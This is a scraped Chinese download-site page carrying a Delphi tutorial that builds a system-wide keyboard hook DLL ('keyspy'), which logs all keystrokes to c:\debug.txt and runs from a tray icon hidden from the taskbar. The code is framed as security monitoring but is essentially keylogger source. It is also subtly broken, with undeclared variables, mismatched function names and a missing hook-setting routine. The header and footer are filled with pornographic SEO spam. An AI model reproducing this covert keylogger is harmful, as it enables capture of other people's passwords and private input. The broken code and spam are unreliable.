日本国产亚洲-日本国产一区-日本国产一区二区三区-日本韩国欧美一区-日本韩国欧美在线-日本韩国欧美在线观看

當前位置:雨林木風下載站 > 技術開發教程 > 詳細頁面

運用Hook技術完成鍵盤監控

運用Hook技術完成鍵盤監控

更新時間:2022-05-13 文章作者:未知 信息來源:網絡 閱讀次數:

在許多系統中,出于安全或其它原因,常常要求隨時對鍵盤進行監控,一個專業的監控程序必須具備兩點,一是實時;二是作為指示圖標運行。實際應用中把利用Hook(即鉤子)技術編寫的應用程序添加到Windows的任務欄的指示區中就能夠很好的達到這個目的。我在參考了API幫助文檔基礎上,根據在Delphi開發環境中的具體實現分別對這兩部分進行詳細論述。

一、Hook(鉤子)的實現:

---- Hook是應用程序在Microsoft Windows 消息處理過程中設置的用來監控消息流并且處理系統中尚未到達目的窗口的某一類型消息過程的機制。如果Hook過程在應用程序中實現,若應用程序不是當前窗口時,該Hook就不起作用;如果Hook在DLL中實現,程序在運行中動態調用它,它能實時對系統進行監控。根據需要,我們采用的是在DLL中實現Hook的方式。

---- 1.新建一個導出兩個函數的DLL文件,在hookproc.pas中定義了鉤子具體實現過程。代碼如下:

library keyspy;
uses
windows, messages, hookproc in 'hookproc.pas';
exports
setkeyhook,
endkeyhook;
begin
nexthookproc:=0;
procsaveexit:=exitproc;
exitproc:=@keyhookexit;
end.

2.在Hookproc.pas中實現了鉤子具體過程:
unit hookproc;
interface
uses
Windows, Messages, SysUtils, Controls, StdCtrls;
var
nexthookproc:hhook;
procsaveexit:pointer;
function keyboardhook(icode:integer;wparam:wparam;
lparam:lparam):lresult;stdcall;export;
function setkeyhook:bool;export;//加載鉤子
function endkeyhook:bool;export;//卸載鉤子
procedure keyhookexit;far;
const
afilename='c:\debug.txt';//將鍵盤輸入動作寫入文件中
var
debugfile:textfile;
implementation
function keyboardhookhandler(icode:integer;wparam:wparam;
lparam:lparam):lresult;stdcall;export;
begin
if icode<0 then
begin
result:=callnexthookex(hnexthookproc,icode,wparam,lparam);
exit;
end;
assignfile(debugfile,afilename);
append(debugfile);
if getkeystate(vk_return)<0 then
begin
writeln(debugfile,'');
write(debugfile,char(wparam));
end
else
write(debugfile,char(wparam));
closefile(debugfile);
result:=0;
end;
function endkeyhook:bool;export;
begin
if nexthookproc<>0 then begin
unhookwindowshookex(nexthookproc);
nexthookproc:=0;
messagebeep(0); end;
result:=hnexthookproc=0;
end;
procedure keyhookexit;far;
begin
if nexthookproc<>0 then endkeyhook;
exitproc:=procsaveexit; end;
end.

---- 二、Win95/98使用任務欄右方指示區來顯示應用程序或工具圖標對指示區圖標的操作涉及了一個API函數Shell_NotifyIcon,它有兩個參數,一個是指向TnotifyIconData結構的指針,另一個是要添加、刪除、改動圖標的標志。通過該函函數將應用程序的圖標添加到指示區中,使其作為圖標運行,增加專業特色。當程序起動后,用鼠標右鍵點擊圖標,則彈出一個菜單,可選擇sethook或endhook。

unit kb;
interface
uses
Windows, Messages, SysUtils, Classes,
Graphics, Controls, Forms,
Dialogs,
StdCtrls, Menus,shellapi;
const
icon_id=1;
MI_iconevent=wm_user+1;//定義一個用戶消息
type
TForm1 = class(TForm)
PopupMenu1: TPopupMenu;
sethook1: TMenuItem;
endhook1: TMenuItem;
N1: TMenuItem;
About1: TMenuItem;
Close1: TMenuItem;
Gettext1: TMenuItem;
procedure FormCreate(Sender: TObject);
procedure sethook1Click(Sender: TObject);
procedure endhook1Click(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure Close1Click(Sender: TObject);
private
{ Private declarations }
nid:tnotifyicondata;
normalicon:ticon;
public
{ Public declarations }
procedure icontray(var msg:tmessage);
message mi_iconevent;
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
function setkeyhook:bool;external 'keyspy.dll';
function endkeyhook:bool;external 'keyspy.dll';

procedure tform1.icontray(var msg:tmessage);
var
pt:tpoint;
begin
if msg.lparam=wm_lbuttondown then
sethook1click(self);
if msg.LParam=wm_rbuttondown then
begin
getcursorpos(pt);
setforegroundwindow(handle);
popupmenu1.popup(pt.x,pt.y);
end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
normalicon:=ticon.create;
application.title:=caption;
nid.cbsize:=sizeof(nid);
nid.wnd:=handle;
nid.uid:=icon_id;
nid.uflags:=nif_icon or nif_message or nif_tip;
nid.ucallbackmessage:=mi_iconevent;
nid.hIcon :=normalicon.handle;
strcopy(nid.sztip,pchar(caption));
nid.uFlags:=nif_message or nif_icon or nif_tip;
shell_notifyicon(nim_add,@nid);
SetWindowLong(Application.Handle,
GWL_EXSTYLE,WS_EX_TOOLWINDOW);
end;

procedure TForm1.sethook1Click(Sender: TObject);
begin
setkeyhook;
end;

procedure TForm1.endhook1Click(Sender: TObject);
begin
endkeyhook;
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
nid.uFlags :=0;
shell_notifyicon(nim_delete,@nid);
end;

procedure TForm1.Close1Click(Sender: TObject);
begin
application.terminate;
end;

---- 該程序雖然只用了幾個shellai函數,但是它涉及到了在Delphi中對DLL的引用、鉤子實現、對指示區的操作、用戶定義消息的處理、文件的讀寫等比較重要的內容,我相信這篇文章能對許多Delphi的初學者有所幫助。
---- 該程序在Win98、Delphi4.0中正常運行。

溫馨提示:喜歡本站的話,請收藏一下本站!

本類教程下載

系統下載排行

主站蜘蛛池模板: 有码中文字幕在线观看 | 综合另类小说色区色噜噜 | 日本五级床片全部免费放 | 五月天激激婷婷大综合蜜芽 | 午夜性视频播放免费视频 | 人人狠狠综合久久亚洲 | 亚洲视频日韩视频 | 狠狠狠狠狠狠狠狠狠狠 | 美女超爽久久久久网站 | 日韩欧美在 | jjzz日本老师 | 亚洲欧美高清在线 | 大胆国模一区二区三区伊人 | 久久社区视频 | 日本成本人观看免费fc2 | 国产三级做爰高清在线 | 久久中文娱乐网 | 大片免费观看在线视频 | 巨胸美女狂喷奶水www网麻豆 | 国产成+人+亚洲+欧美+日韩 | 天天拍夜夜添久久精品中文 | 永久免费视频网站在线观看 | 97成人网在线碰碰碰 | 97se狠狠狠狠狼亚洲综合网 | 香蕉久久国产 | 欧美午夜精品久久久久免费视 | 欧美成人h版在线观看 | 麻豆久久婷婷综合五月国产 | 91日韩高清在线观看播放 | 亚洲七七久久精品中文国产 | 曰批全过程免费视频免费看 | 日本搞黄网站 | 国产免费变态视频网址网站 | 狠狠干天天爽 | 精品久久在线 | 精品无人区一区二区三区a 精品五月天 | 国产看片视频 | 欧美一级毛片免费观看视频 | 国产一区精品视频 | 一区二区三区在线免费视频 | 免费观看大片bbb |